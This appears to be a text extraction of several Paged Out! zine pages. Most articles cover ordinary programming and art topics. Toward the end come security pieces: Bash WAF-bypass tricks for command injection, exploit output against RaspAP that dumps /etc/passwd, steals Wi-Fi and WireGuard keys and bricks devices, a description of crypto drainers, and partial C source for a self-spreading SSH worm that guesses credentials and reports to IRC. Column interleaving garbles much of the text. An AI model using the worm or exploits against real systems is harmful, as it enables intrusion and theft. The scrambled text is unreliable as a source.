>>> [x for x in list(opcode.opmap.keys()) if 'INPLACE' in x]
opcodes were removed as [] 0 +
well! Or rather not removed – 1 &
2 //
just, per Python 3.11 changelog – "replaced [...] with a single opcode" [1].
3 <<
So, what's the reason for that? According to the discussion between Mark Shannon and Guido van Rossum 4 @
[2], it was to remove a lot of duplicate code, reduce the size of the interpreter loop (which makes it more 5 *
friendly for CPU-level code cache), save on opcode space, but also "to specialize binary operations without an 6 %
7 |
explosion in the number of instructions". Neat! 8 **
The new BINARY_OP opcode takes the actual operation as the argument (called "op" in this case), but 9 >>
otherwise works the same way as the replaced BINARY_* and INPLACE_* opcodes worked. Isn't 10 -
11 /
programming fascinating? ;)
12 ^
10 00 BINARY_MATRIX_MULTIPLY 11 00 INPLACE_MATRIX_MULTIPLY
13 +=
13 00 BINARY_POWER # Pseudocode from dis 1c 00 INPLACE_FLOOR_DIVIDE 14 &=
14 00 BINARY_MULTIPLY # module documentation: 1d 00 INPLACE_TRUE_DIVIDE
rhs = STACK.pop() 15 //=
16 00 BINARY_MODULO lhs = STACK.pop() 37 00 INPLACE_ADD 16 <<=
17 00 BINARY_ADD STACK.append(lhs op rhs) 38 00 INPLACE_SUBTRACT 17 @=
18 00 BINARY_SUBTRACT 39 00 INPLACE_MULTIPLY 18 *=
1a 00 BINARY_FLOOR_DIVIDE
7a op 3b 00 INPLACE_MODULO
19 %=
1b 00 BINARY_TRUE_DIVIDE BINARY_OP(op) 43 00 INPLACE_POWER
20 |=
21 **=
3e 00 BINARY_LSHIFT List of all operations 4b 00 INPLACE_LSHIFT 22 >>=
3f 00 BINARY_RSHIFT is available in 4c 00 INPLACE_RSHIFT 23 -=
40 00 BINARY_AND opcode._nb_ops: 4d 00 INPLACE_AND 24 /=
[('NB_ADD', '+'), 25 ^=
41 00 BINARY_XOR ('NB_AND', '&'), ...] 4e 00 INPLACE_XOR
42 00 BINARY_OR 4f 00 INPLACE_OR
[1] https://docs.python.org/3/whatsnew/3.11.html#replaced-opcodes
[2] https://github.com/faster-cpython/ideas/issues/101 [3] https://stackoverflow.com/questions/15376509/when-is-i-x-different-from-i-i-x-in-python
Gynvael Coldwind
https://hexarcana.ch/
24 https://gynvael.coldwind.pl/ SAA-ALL 0.0.7
Brittle Green Threads Programming
Brittle
concurrent programming. If done well, concerns such as blocking
IO and resource management can all but disappear. Given the
Green
strength of this abstraction, it's best to peel it away before it becomes
obfuscation: Let's write a minimal & brittle green‑thread runtime in
a little under a page of C.
Threads
#include <signal.h>
#include <ucontext.h>
After including the requisite libc
#include <stdlib.h>
headers, the first step is to define a
type for tasks. This is nothing more
than a function pointer, allowing the typedef void (*task_t)();
use of any function for a green
thread. Tasks must be stored static struct {
somewhere, so they go into a double‑ struct { task_t fn; void *args; } tasks[4096];
ended queue (dequeue) which forms int start, end;
the core of the ‘scheduler.’ } queue = { .start = 0, .end = 0 };
Tali Auster
website: https://tali.network/
CC BY-SA 4.0 github: https://github.com/atalii 25
Programming EasyTr0n
EasyTr0n
Santiago Garcia-Jimenez
164 X=10
166 X2=246
https://github.com/4nimanegra/EasyTr0n
175 REM "AND THE PLAYER DIRECTION"
This magazine transports me to the older and bet- 176 REM "0,1,2,3 EACH NUMBER"
ter times of computer culture. I remember the old 177 REM "DIFFERENT DIRECTION"
magazines like MSX software, MicroHobby, etc... 180 D=0
where people learned how to program on those comput- 185 D2=2
ers through source code and short comments attached 190 LINE(X,Y)-(X,Y),C2
on it. 195 LINE(X2,Y2)-(X2,Y2),C3
I dusted off my old MSX and started programming 199 REM "READ THE KEYS AND START PLAYING"
a simple game again like a long time ago, with a single 200 A$=INKEY$
page constraint. Here is the result, a tron game called 207 REM "LEFT OR RIGHT WILL ADD OR REMOVE"
EasyTr0n with a simple code where you play as one of 208 REM "1 TO PLAYER DIRECTION. IT WILL"
the light motorcicles and the computer has a simple AI. 209 REM "SIMULATE THE TURN"
210 IF A$=CHR$(28) THEN D=D+1
220 IF A$=CHR$(29) THEN D=D-1
230 IF D < 0 THEN D=D+4
240 IF D > 3 THEN D=D-4
245 REM "ESC WILL STOP THE GAME"
250 IF A$=CHR$(27) THEN GOTO 2000
255 REM "DIFERENT VALUES FOR DIRECTION"
256 REM "MOVES PLAYER ON DIFFERENT AXIS"
260 IF D=0 THEN X=X+4
If you do not have an MSX or simply do not have an 270 IF D=1 THEN Y=Y+4
old CRT screen, this code can also be played on an em- 280 IF D=2 THEN X=X-4
ulator. Just copy and paste the code on an MSX with 290 IF D=3 THEN Y=Y-4
the Microsoft Basic, the default OS on most MSX 295 REM "IF THE COLOR OF NEW POSITION IS NOT"
computers. 296 REM "BACKGROUND COLOR IT IS A WALL"
300 IF POINT(X,Y) <> CB THEN GOTO 2000
5 REM "SCREEN MENU IN TEXT MODE" 305 REM "NOW THE AI PLAYER MOVEMENT"
6 REM "TWO POSSIBLE OPTIONS" 306 REM "BEFORE MOVE TEST IF"
7 REM "START THE GAME OR EXIT" 307 REM "WE CAN MOVE IN THE SAME DIRECTION"
10 SCREEN 0 310 X3=X2
20 LOCATE 10,3 320 Y3=Y2
30 PRINT "EASYTR0N" 330 IF D2=0 THEN X2=X2+4
40 LOCATE 5,10 340 IF D2=1 THEN Y2=Y2+4
50 PRINT "1 Start Game" 350 IF D2=2 THEN X2=X2-4
60 LOCATE 5,15 360 IF D2=3 THEN Y2=Y2-4
70 PRINT "2 Exit Game" 365 REM "IF WE CAN MOVE, DO IT"
75 REM "WHILE NO VALID OPTION, REPEAT" 370 IF POINT(X2,Y2) = CB THEN GOTO 190
80 A$=INKEY$ 375 REM "ELSE, TEST IF WE CAN MOVE TO"
90 IF A$="1" THEN 110 376 REM "ANOTHER DIRECTION"
100 IF A$="2" THEN 2010 ELSE 80 380 D2=4
105 REM "PLAY SCREEN, GRAPHIC MODE" 390 IF POINT(X3+4,Y3) = CB THEN D2=0
110 SCREEN 3 400 IF POINT(X3,Y3+4) = CB AND D2=4 THEN D2=1
111 REM "WE WILL DEFINE COLORS HERE" 410 IF POINT(X3-4,Y3) = CB AND D2=4 THEN D2=2
112 C1=7 420 IF POINT(X3,Y3-4) = CB AND D2=4 THEN D2=3
114 C2=8 425 REM "IF NOT POSSIBLE, AI LOSES"
116 C3=2 430 IF D2=4 THEN GOTO 2000
117 REM "THE COLOR FOR BACKGROUND" 435 REM "IF AI CAN MOVE, LETS MOVE IT"
118 CB=4 440 X2=X3
119 REM "LETS MAKE THE LEVEL LIMITS" 450 Y2=Y3
120 LINE(0,0)-(256,0),C1 455 REM "LETS ITERATE FOR A NEW MOVEMENT"
130 LINE(0,0)-(0,192),C1 460 GOTO 310
140 LINE(0,192)-(256,192),C1 1995 REM "EXITING FROM PLAYING SCREEN"
150 LINE(256,0)-(256,192),C1 2000 GOTO 10
155 REM "DEFINE PLAYER START POSITION" 2005 REM "EXITING FROM GAME"
160 Y=96 2010 PRINT "GoodBye...."
162 Y2=96
Garcia-Jimenez, Santiago
https://github.com/4nimanegra
26 CC BY 4.0
Single-click Security Training
https://wargames.ret2.systems
https://snuffleupagus.rtfd.io
Programming Generate ASCII-Root-Art using formal grammar and randomness
Jana Marie
@[email protected]
28 https://github.com/Jana-Marie SAA-ALL 0.0.7
Peaceful Waves (top), City Lights (bottom) Art
Ma, why is dict() slower than We could stop here and think the case’s closed, but
we all know ourselves — we’re in too deep already.
{} in Python? What’s the real reason for the performance differ-
ence — what really happens — when these bytecode
sets are executed?
# Introduction
Some time ago, due to a discussion I’ve had with ## Getting lost in CPython's source code
a colleague of mine, I began to wonder about the Constructing a new dictionary with dict relies
differences between dict() and {} . In program- upon a built-in type defined in the dictobject.c
ming — as in life — speed matters, so let’s take a file. Two major things happen when a new dictio-
look at how the two methods compare in terms of nary is constructed:
performance.
1. A new dictionary object is created by the
$ python -m timeit "dict()" __new__ method (in CPython, it’s dict_new ).
10000000 loops, best of 5: 40 nsec per loop
$ python -m timeit "{}" The dictionary is always created empty — with
20000000 loops, best of 5: 19.6 nsec per loop capacity zero.
2. The __init__ method (in CPython, it’s
It turns out that dict() is almost exactly 2x dict_init ) inserts all given entries to the
slower1 . Why? It’s even more confusing if you re- dictionary (if any).
alize that dictionaries created by the two methods
are indistinguishable from each other. Although So, what happens when you create a dictionary with
the results of these two methods are the same, they {} ? Well, the dict type will not help us here; we
are not doing the exact same thing under the hood. need to look for the BUILD_MAP opcode implemen-
tation in the bytecodes.c file.
# Analyzing Python's bytecode
The reference implementation of Python inst(BUILD_MAP, (values[oparg*2] -- map)) {
map = _PyDict_FromItems(
(CPython2 ) both compiles and interprets Python values, 2,
source code. It first compiles source code into values+1, 2,
bytecode, and then interprets it to execute ma- oparg);
// ...
chine code. The dis built-in module is a great way }
of investigating how Python compiles our source
code. Let’s compare bytecode for both dict() The dictionary construction is delegated to the
and {} . _PyDict_FromItems function. If we go there, we’ll
>>> import dis see that the function — in opposition to dict_new
>>>
>>> def a():
— pre-allocates the dictionary’s capacity and in-
... return dict() serts all entries immediately.
...
>>> def b(): PyObject* _PyDict_FromItems(/* ... */)
... return {} {
... // ...
>>> dis.dis(a) PyObject *dict = dict_new_presized(interp, length,
1 0 RESUME 0 unicode);
2 2 LOAD_GLOBAL 1 (NULL + dict) if (dict == NULL) {
12 CALL 0 return NULL;
20 RETURN_VALUE }
>>> dis.dis(b) // ...
1 0 RESUME 0 for (Py_ssize_t i = 0; i < length; i++) {
2 2 BUILD_MAP 0 // Inserts entries
4 RETURN_VALUE }
return dict;
}
Interesting! The instructions indeed execute differ-
ent code. Gliding over the common opcodes, we # Conclusions
see that dict() translates to LOAD_GLOBAL (which
When you do dict(a=1, b=2) , Python needs to:
loads a global variable onto the stack) and CALL
• load the global variable dict ,
(which calls a callable object), while {} translates to
• allocate a new PyObject ,
BUILD_MAP (which pushes a new dictionary object
• construct a dict via the __new__ method,
onto the stack).
• call its __init__ method, which internally calls
Alright, we could conclude that dict() yields PyDict_Merge .
more bytecode instructions, and, therefore, inter-
preter needs to execute more code, and therefore Whereas doing {'a': 1, 'b': 2} causes Python
dict() is slower. Success! to:
1
The benchmark’s been performed on an M1 MacBook and • construct a new dictionary with the required
with python 3.12 . capacity,
2
https://github.com/python/cpython • insert entries one-by-one.
Kamil Rusin
https://madebyme.today/
30 SAA-ALL 0.0.7
More Type-level programming Programming
Alok Menghrajani
https://quaxio.com/
SAA-ALL 0.0.7 31
Programming Puzzles as Algorithmic Problems
Let me elaborate on these points by walking through Given such discrepancies, I am proposing solving puz-
the process of solving a LeetCode problem. I picked zles by devising algorithms for them as an alternative
a medium problem with 34.5% solve rate, 3Sum. The to CP problems. The puzzles are actually fun to work
problem statement is as follows: with, they aren’t designed to be solved algorithmically,
so there is no solution you have to discover, you ac-
Given an integer array nums, return all the triplets
tually have to invent a solution. These puzzles can
[nums[i], nums[j], nums[k]] such that i != j, i !=
be anything from variants of Sudoku to small Chess
k, and j != k, and nums[i] + nums[j] + nums[k] ==
problems, any puzzle that doesn’t require any special
0. Notice that the solution set must not contain
knowledge to solve. The fact that you have to deőne
duplicate triplets.
your own constraints makes solving puzzles a much
better approximation of real-world problem solving
The naive solution would be to simply brute force the than CP problems. Solving a puzzle algorithmically
entire array, which would be O(nˆ3). This is obviously means that (1) you must deőne your constraint for cor-
not the intended solution, so we are led to think where rectness and performance, as well as the space of in-
we can optimize. A classic approach for array questions puts you are interested in, (2) you must devise a robust
is to őrst sort the array in the hope that it will allow for testing strategy, (3) you must model the problem space
some optimization in the algorithm. After sorting the as a data structure in the programming language, per-
array, we can use the two-pointer technique to őnd the haps think about the trade-offs between different rep-
triplets. resentations of the problem space, (4) you must devise
As you might’ve realized when reading the above para- an algorithm that solves the problem, and (5) you must
graph, I didn’t invent anything when solving the ques- implement the algorithm and test it. Together, I be-
tion. In fact, the author already had an optimal solu- lieve these steps are a much better approximation
tion, as well as a naive one, when they were writing of real-world problem solving than CP problems.
Alperen Keles
https://alperenkeles.com/blog
32 https://twitter.com/keleesssss SAA-TIP 0.0.7
Quick introduction to model-based design in C Programming
Szymon Morawski
https://szymor.github.io/
CC0 33
Programming Tiny "One Time Paste" The PHP Way
if($_FILES)
move_uploaded_file($_FILES[0]['tmp_name'],
if($_GET)
if(file_exists($f =
Sooner or later, some of us might find themselves in need basename(key($_GET))))
of passing information to another person quickly. There {
are many services that allows you to paste code snippets echo file_get_contents($f);
unlink($f);
but I rarely remember their addresses. And also, do they }
allow simple plaintext access? What happens when I
remove such a paste? Is it really permanently erased?
This can be saved as index.php and served via PHP built-in
HTTP server:
Assumptions
• After being displayed once, paste will be $ php -S 0.0.0.0:8000
automatically removed. [Sat Oct 22 11:17:27 2022] PHP 7.4.30
• Easy upload/download from command line using Development Server (http://0.0.0.0:8000)
started
curl – no fancy ajax forms.
• The less code, the better.
Upload:
Issues
[1] Initially, I thought that it would be possible to easily $ curl http://addr:8000/ -F "[email protected]"
5532bedc
receive and save files using php://input wrapper. But it
turned out that this method gets rid of new line characters
if the user used --data instead of --data-binary in curl, and Accessing is just as simple and hassle-free:
that would be confusing (curl’s fault, but still).
$ curl http://addr:8000/?5532bedc
foo
[2] Abandoning this idea, I thought of using the file upload
method provided by PHP developers - utilizing $_FILES bar
array. "The uploaded file will only be on the server for a $ curl http://addr:8000/?5532bedc
brief moment anyway, so can we leave it in /tmp and read $
from there?". A bold idea, but it turns out that the
unmoved file won't be left until the system reboot, and
will be deleted just after the script finishes its work. Of course, it should be borne in mind that the server
embedded in PHP is considered an experimental
[3] In the meantime, I had a reflection that the ability to functionality and it's not recommended to be run in
download a file directly (using typical HTTP to FS mapping) production environments. It also does not support
would be problematic when you want to delete it, and I cryptographic methods for securing the connection,
wanted to exclude the need to use mod_rewrite or similar which can be remedied by using another, more complex
mechanisms. server, i.e.: Apache.
Kamil Uptas
34 CC0
Truly Terrible Template Arithmetic Programming
Tali Auster
https://tali.network/
CC BY-SA 4.0 35
Art Pixel Art VFX! and Cube Skulls
Matthieu Rappeneau
Twitter: https://twitter.com/rappenem
36 Instagram: https://www.instagram.com/Rappenem_/ SAA-ALL 0.0.7
Type-level programming Programming
Type-Level Programming
Statically typed programming languages are the over a dozen other types: First, Shift, Last, Pop
closest typical programmers come to using formal manipulate arrays. Flatten, Unique, and AllDiff
systems. If used properly, a type system decreases the work together to ensure that every element is
probability of software bugs by providing specific different. Col, Reduce, Tr process arrays of arrays. D1
guarantees. I, however, long for our field to adopt and D2 pull out the diagonal numbers. Sum computes
ever increasing levels of formalism. Perhaps writing sums by converting numbers into arrays with Arr and
provably bug-free programs will become the norm? subsequently concatenating all the arrays. SameSums
checks that all the sums match up.
TypeScript, designed as a retrofit for JavaScript
codebases, is a very expressive tool — complicated Learn more about type-level programming:
programs can be written, which run as part of the https://softwaremill.com/developing-type-level-algorithms-in-ty
type-checker. For example, the program below only pescript/ and https://developers.mews.com/compile-time-funct
compiles if the array on lines 33-35 is a magic square! ional-programming-in-typescript/
Alok Menghrajani
https://quaxio.com/
SAA-ALL 0.0.7 37
Not The Hidden Wiki
The largest repository of links related to cybersecurity
notthehiddenwiki.com
Using a C++ library in a Python script Programming
Artur Nowicki
https://github.com/arturn-dev
SAA-ALL 0.0.7 [email protected] 39
Retro The FM RF Archival Method; The End of Analog Media Digitisation!
VHS, LaserDisc all the way to SMPTE-C & 2” Quad were stuck in a limbo of limited hardware and legacy standards in a market
flooded with ICs from ATI/Panasonic/Conexant/Analog Devices with hard limitations and a massive scalping problem of
JVC/Panasonic hardware due to built-in Time Base Correctors “TBC” all the way to Digital8 for Video8/Hi8 & Betamax HiFi
decks, alongside any rack mount time base correction and frame store hardware you can find, 100s to 1000s of USD/GBP/EUR
of inflation. Today, the death of unnecessary hardware for preservation has been set in stone thanks to the decode projects.
This driver has since expanded into multi card support &
synchronised clock support hardware with the clockgen mod
(https://github.com/oyvindln/vhs-decode/wiki/Clockgen-Mod),
building a new standard for affordable multi channel RF
capture, alongside standard audio ADC boards for linear
and hifi reference capture, meaning all signal data can be
automatically aligned in post production with even the crystal
rates being entirely software defined for the initial capture.
In laymans, it's just like audio files, just a waveform with some extra digits, in fact thanks to SoX/GNUradio and codecs like
FLAC today, 6 hours of stable VHS NTSC can be stored virtually losslessly on a standard 128GB BDXL optical disc, the original
signal preserved virtually forever in its original analog signal domain.
And it works!
Afterward, I checked the QuickBMS and realized the archive could be extracted directly with the help of the
above-mentioned zip.bms:
quickbms . exe zip . bms data . archive
If I had known QuickBMS earlier, I would have extracted it effortlessly. But I would also miss the opportunity
to have this fun exploration!
1 https://tcrf.net/Microsoft_Solitaire_Collection
2 https://aluigi.altervista.org/bms/zip.bms
3 https://github.com/google/brotli
Xusheng Li
https://xusheng.dev/
SAA-ALL 0.0.7 41
Art Space Elevator
6VCR
https://6vcr.com/
42 SAA-TIP 0.0.7
Calculating VTL1 Heap Keys From VTL0 Reverse Engineering
The LFH heap library is used by all heaps in the system – user mode, kernel mode and even the secure kernel. Every
component that uses this library initializes its own unique set of keys. But the normal kernel has access to a special
secure kernel heap, called the secure pool, that we can (ab)use to calculate the secure kernel keys. The secure pool is
managed by the secure kernel (in VTL1) and is mapped to VTL0 kernel with read-only permissions. Drivers can allocate
and write data into this pool through a special API, ExAllocatePool3, to protect it from kernel exploits. The trick that
allows us to leak information and eventually calculate the secret keys is the fact that the secure pool is mapped from
VTL1 to VTL0, and the addresses in all its management structures are mapped as-is, so we get VTL1 addresses in VTL0.
The heap is split into segments, each managing 1MB of memory. These are split into smaller subsegments. The
segment begins with a HEAP_PAGE_SEGMENT structure that manages the segment. HEAP_PAGE_SEGMENTs have
a Signature field, which is an encoded pointer to a HEAP_SEG_CONTEXT – a structure managing all the segments in
the heap. The formula used to decode the Signature and retrieve the HEAP_SEG_CONTEXT is:
seg_context = segment.Signature ^ HeapKey ^ segment_address ^ MAGIC_VALUE
(the magic value is hardcoded as 0xA2E64EADA2E64EAD, and recent builds no longer use it)
This means that if we can find the address of the HEAP_SEG_CONTEXT, the segment’s Signature and the
HEAP_PAGE_SEGMENT address, we can calculate the HeapKey. To find them, we need to make enough secure pool
allocations to force the creation of at least two segments, each with its own HEAP_PAGE_SEGMENT structure. The
segments are connected through a ListEntry field that links the segments to each other and to the head of the list
that exists inside the heap’s HEAP_SEG_CONTEXT. Once we have two HEAP_PAGE_SEGMENT structures, we can use
them to get all the details we need:
heap_page_segment_sk_address = second_segment.ListEntry.Blink
seg_context_sk_address = first_segment.ListEntry.Blink – offsetof(HEAP_SEG_CONTEXT, “SegmentListHead”)
HeapKey = first_segment.Signature ^ seg_context_sk_address ^ heap_page_segment_sk_address ^ MAGIC_VALUE
We can use a similar method to calculate LfhKey. This key is used in LFH subsegments (subsegments that manage
allocations of a single, common size) to encode the field BlockOffsets, which contains data about the block sizes in
the subsegments. The formula used to decode the encoded BlockOffsets is:
raw_data = BlockOffsets.EncodedData ^ ((int)(subsegment_address) / PAGE_SIZE) ^ LfhKey
To find LfhKey, we need the raw data (the subsegment’s block sizes and offset of the first allocation), the
subsegment’s secure kernel address, and the encoded BlockOffsets. We’ll create enough secure pool allocations to
force the creation of an LFH subsegment. Once that happens, we can easily find the address of the subsegment, as
well as the address of the HEAP_PAGE_SEGMENT that manages it. Using the same technique as before, we find the
secure kernel address of the HEAP_PAGE_SEGMENT and calculate the secure kernel address of the subsegment. Then
we can build the raw BlockOffsets structure, since we know the block size and offsets (we initiated them, after all)
and calculate the LfhKey:
lfh_subsegment_sk_address = heap_page_segment_sk_address | (lfh_subsegment & 0xfffff)
raw_data = block_size | (first_alloc_offset << 16)
LfhKey = lfh_subsegment.BlockOffsets.EncodedData ^ raw_data ^ ((int)(lfh_subsegment_sk_address)/PAGE_SIZE)
Yarden Shafir
Twitter: @yarden_shafir
SAA-TIP 0.0.7 https://blog:windows-internals.com 43
Reverse Engineering Headless GDB Scripting
Linearizing the flow Now, why would we want this? Personally, the prob-
lem arose when I was building ”unit tests” to a series
Now, since this is event-driven, we might want to add
of introductory CTF challenges I had built. I wanted
some plumbing to make the rest of the code wait for the
my solve scripts to be able to solve the challenges even
result to come back. We do this by using the fact that
if they were rebuilt in such a way that the stack layout
any callable can be passed as an event handler together
happened to change or even work for multiple architec-
with a semaphore.
tures. One could also imagine this being useful for unit
or integration tests in an exploit development shop.
1 Someone please build this
Mert Coskuner
https://linkedin.com/in/mcoskuner/
SAA-ALL 0.0.7 45
Reverse Engineering Inspecting Tcache Parsing
Bash Techniques to
bypass a WAF!
3) Uninitialized variables
A WAF or web application firewall helps protect
web applications by filtering and monitoring traffic
between a web application and the client sending
traffic. A WAF bypass is a method to communicate
with the components behind the WAF without the Uninitialized variables are treated as empty strings
WAF realizing that malicious commands are being in Bash and can be leveraged for obfuscation. $IFS
issued. The examples in this article assume the is a shell variable to be aware of that can be used
attacker is communicating with Bash on a remote for word splitting. Bash will recognize this as a
system most likely from a command injection space and, therefore, it can be used to bypass any
vulnerability. space filtering in a WAF.
Let’s create a file containing the word “contents” to 4) Globbi?g and \Escaping
experiment with. In a real world example,
/etc/passwd would be a good target on a remote
system as it generally has read permission for most
OS users. Globbing is the use of wildcards to match
characters. A “?” can be used to replace a character
in a filename. Escaping can also be leveraged to add
some obfuscation.
Stephen Huggard
https://protectedpenguin.com
SAA-ALL 0.0.7 47
Security/Hacking Building a portable blue team home lab
3 Firewall
As a firewall, use a pfSense [2], an open source firewall
that has many cool features that you can use, such as
packet capture, network troubleshooting, VPN, IPSec
and more. Your firewall VM should have several NICs, 1
for each VLAN plus 1 for management connection.
4 DFIR
For DFIR VM, I recommend checking out Tsurugi Linux
[3] or SANS SIFT Workstation [4] as they come with
quite a lot of nice pre-installed tools for forensics. As this
machine will be used for a forensic and OSINT, it should
be set in a security VLAN, which simulates a company
security department.
5 Malware Analysis
Now you want to create an environment to analyze
malware samples from the Internet. For this, I
recommend REMnux [5], a powerful Linux distro for 12 References
malware analysis. [1] https://github.com/jgraph/drawio-desktop
[2] https://www.pfsense.org/download/
6 Domain Controller [3] https://tsurugi-linux.org/
As we simulate a corporate network, it needs a user [4] https://www.sans.org/tools/sift-workstation/
identity and management solution such as Domain
Controller deployed on a Windows Server 2019 [6]. This
[5] https://remnux.org/
VM should be in the corporate VLAN and should have [6] Windows Server 2019 | Microsoft Evaluation Center
installed services such as Active Directory Domain [7] https://github.com/digininja/DVWA
Service, DHCP Server, DNS Server, File and Storage [8] https://www.kali.org/
Services and Remote Access. [9] https://securityonionsolutions.com/
7 End Devices
These VMs simulate corporate devices joined to the
domain, from which you can run specific malware
samples or open some malicious websites to test
detections in the SIEM. You can either use
evaluated Windows VMs or some other Linux
distro.
Marko Andrejić
https://facyber.me/posts/blue-team-lab-guide-part-1/
48 CC BY 4.0
This is a placeholder ad (since we had an odd number of ads). At the same
time, it's a great opportunity to explain how ads work in Paged Out!
Community Ads
These are free to publish but are restricted to free projects, tutorials, tools,
etc – basically we want to advertise cool community-made stuff.
Sponsorship Ads
These help us cover the cost of making Paged Out! – thank you!
Secondly, we'll keep the number of ads to a minimum – this means the zine
will have at most 1 ad page for 10 content pages (rounded up).
And that's it. In case you would like to publish a Community Ad, or support
us with a Sponsorship Ad, please check out the details at:
https://pagedout.institute/?page=ads.php e o n d iscord! ord
, we'r
btw l/disc
e l . c o l d wind.p
/gynva
https:/
https://pwndbg.re
https://github.com/pwndbg/pwndbg
https://discord.com/invite/x47DssnGwm
Security/Hacking Carrot disclosure
🥕 Carrot disclosure
Originally published on
If you want to be extra-nice, you can:
- Publish the SHA256 of the exploit, to prove
that you weren't making things up, or if you get
https://dustri.org/b/carrot-disclosure.html,
sued for whatever frivolous reasons like libel.
— Julien "jvoisin" Voisin
- Maintain the exploits against new versions.
Once you have found a vulnerability, you can either Since you don't have hardcoded offsets
sit on it or disclose it. There are usually two ways to because we're in 2024, you can even put this in
disclose, with minor variations: a continuous integration.
- Publish the exploit once it has been fixed,
- Coordinated Disclosure [1] where one gives otherwise you risk having vendors call your
time to the vendor to issue a fix before bluff next time, or at least notify that the issue
disclosing has been fixed.
- Full Disclosure [2] where one discloses
immediately without notifying anyone Let's have an example, as a treat. A couple of shitty
beforehand. vulnerabilities for RaspAP [4] that took 5 minutes to
find and at least 5 more to write an exploit each:
I would like to coin a 3rd one: Carrot disclosure,
dangling a metaphorical carrot [3] in front of the $ ./read-raspap.py 10.3.14.1 /etc/passwd 2
[+] Target is running RaspAP
vendor to incentivise change. The idea is to only
[+] Dumping 1 line of /etc/passwd
publish the (redacted) output of exploits for a
root:x:0:0:root:/root:/bin/bash
critical vulnerability, to showcase that the software $ ./authed-mitm-raspap.py 10.3.14.1
is exploitable. Now the vendor has two choices: [+] default login/password in use
either perform a holistic audit of their software, [+] backdoored, enjoy your MITM!
fixing as many issues as possible in the hope of $ ./raspap-wifipwd.py 10.3.14.1
fixing the showcased vulnerability; or losing users [+] wifi password: "secretwifipassword"
$ ./leak-wg-raspap.py 10.3.14.1
who might not be happy running a
[+] Got key! Saved as ./wg-10.3.14.1.key
known-vulnerable software. Users of this disclosure
$ ./brick-raspap.py 10.3.14.1
model are of course called Bugs Bunnies. [+] Target is running RaspAP
[+] Bricking the system...
We all looked at catastrophic web applications,
[+] System bricked!
found a ton of bugs, and decided not to bother with
reporting them, because there were too many of It looks like there is a low-hanging unauthenticated
them, because we knew that there will be more of arbitrary code execution chainable with a privilege
them lurking, because the vendor is a complete tool escalation to root as well, but since writing an
and it would take more time trying to properly exploit would take more than 5 minutes, I can't be
disclose things than it took finding the bothered, and odds are that it'll be fixed along with
vulnerabilities, … This is an excellent use case for the persistent denial-of-service anyway. A couple of
Carrot Disclosure! Of course, for unauditably-large days after publishing those, it was a success:
codebases, it doesn't work: you've got a Linux LPE,
- A pull request [5] from defendtheworld [6]
who cares.
adding more escaping, and making all the ajax
Interestingly, it shifts the work balance a bit: it's requests authenticated.
usually harder to write an exploit than it's to fix the - Another pull request [7] from one of the
issue. But here, the vendor has to audit and fix their authors of RaspAP, adding a bit more
entire codebase, for the ~low cost of one (1) hardening on top of it.
exploit, that you don't even have to publish if you
Unsurprisingly, there are still other fun bugs lurking
don't want to. Moreover, publishing a proof of
in RaspAP, so feel free to grow your own carrots
successful exploitation will likely lower the value of
hoarding the exploits, since it increases the odds of
, in this garden or another one!
[1] https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure
people looking for, finding, and burning them. It's [2] https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)
much more motivating to look for exploitable [3] https://en.wikipedia.org/wiki/Carrot_and_stick
[4] https://raspap.com/
vulnerabilities when you know that there are some [5] https://github.com/RaspAP/raspap-webgui/pull/1546
[6] https://twitter.com/defendtheworld/status/1767204517316108414
low-hanging ones. [7] https://github.com/RaspAP/raspap-webgui/pull/1548
In the realm of blockchain technology, smart contracts serve as digital arbiters of automated agreements,
elimina8ng the need for intermediaries in transac8on processes. At their core, smart contracts are self-
execu8ng agreements with their terms o?en wri@en in languages like Solidity or Rust. However, it’s worth
no8ng that the decentralized nature of blockchain also opens the door to new malicious and crea8ve a@ack
vectors. Threat Actors can create malicious contracts that could cost vic8ms all their assets. This ar8cle
explores the malicious smart contracts scene and introduces a new threat: Drainers.
Drainers deceive users into signing away their crypto assets, including tokens and NFTs, and send them to the
a@acker’s wallet. Most Drainers are sophis8cated, iden8fying and transferring only valuable assets, and
some8mes even swapping less popular tokens for more desirable ones before bailing out to the a@acker. But
why would users willingly accept such transac8ons? Drainers o?en operate in conjunc8on with phishing sites
posing as legi8mate plaMorms, playing the role of the “backend” in the opera8on, while the fake site mans the
“frontend.” These sites request users to connect using popular wallets, like Metamask, and display an
authen8c signature request for the malicious contract using crea8ve promises like airdrops, rewards or even
“gas fees refunds”. Then, with just a click, the worst happens.
Creepy, isn't it? It only gets worse. You don’t have to spend weeks learning Solidity to write your drainer, only
to realize that you also need to enhance your frontend skills to create a convincing, deceiMul site. This process
can be easily automated through the Drainers as a Service (DaaS) model — a parallel to the Malware as a
Service (MaaS) concept. In this model, threat actors design smart contracts and lease their use to affiliates
who deploy their kits and share profits with the original creator, while being en8tled to receive support and
updates. And it can s8ll get worse: drainer affiliates o?en promote fake posts on social media plaMorms like
Twi@er using paid, verified accounts. Addi8onally, they invest in paid adver8sements on popular search
engines such as Google. This strategy allows them to hijack specific search terms and even secure be@er
posi8oning than the original product, service, or company they are impersona8ng. But wait, there's more…
the DaaS market is ever-expanding with numerous well-established compe8tors. Let’s take a look.
To conclude, remember that phishing is a crucial part of the drainers’ opera8on, and deceiving users is a must
to steal their funds. As always, criminals are improving their game to maximize profits, successfully
compromising and impersona8ng significant players such as hardware crypto wallet manufacturers like Ledger
and Trezor, security companies like Mandiant, and even the SEC. So, stay vigilant, do your own research, don’t
sign anything without reading the small print… and please don’t get rekt.
Killer Rabbit
https://www.instagram.com/killerrabbitmedia/
52 SAA-TIP 0.0.7
EasyNiceWorm Security/Hacking
Easy NiceWorm
https://github.com/4nimanegra/EasyNiceWorm
while(i < 11){
session=ssh_new();
if((ssh_options_set(session, SSH_OPTIONS_USER,
user[i])<0) || (ssh_options_set(session,
SSH_OPTIONS_HOST, host)<0) || (ssh_options_set(
session, SSH_OPTIONS_PORT, &port)<0)){break;}
On this page, we will create a simple C-based worm con = ssh_connect(session);
if(con != SSH_OK){break;}
for penetration testing purposes. The worm attempts to if(con = ssh_userauth_password(session, NULL, pass[i])
== SSH_AUTH_SUCCESS){
make SSH connections to random IP addresses using a if(i == 0){break;};
sendToIrc(i);
small credential database to copy and execute its own writesize=0;
scp=ssh_scp_new(session,SSH_SCP_WRITE,"/tmp/");
code. Additionally, a small piece of code enables the if(ssh_scp_init(scp)==SSH_ERROR){break;}
con=ssh_scp_push_file(scp,remoteworm, size, 0766);
worm to chat on a specific IRC server and channel where if(con != SSH_ERROR){
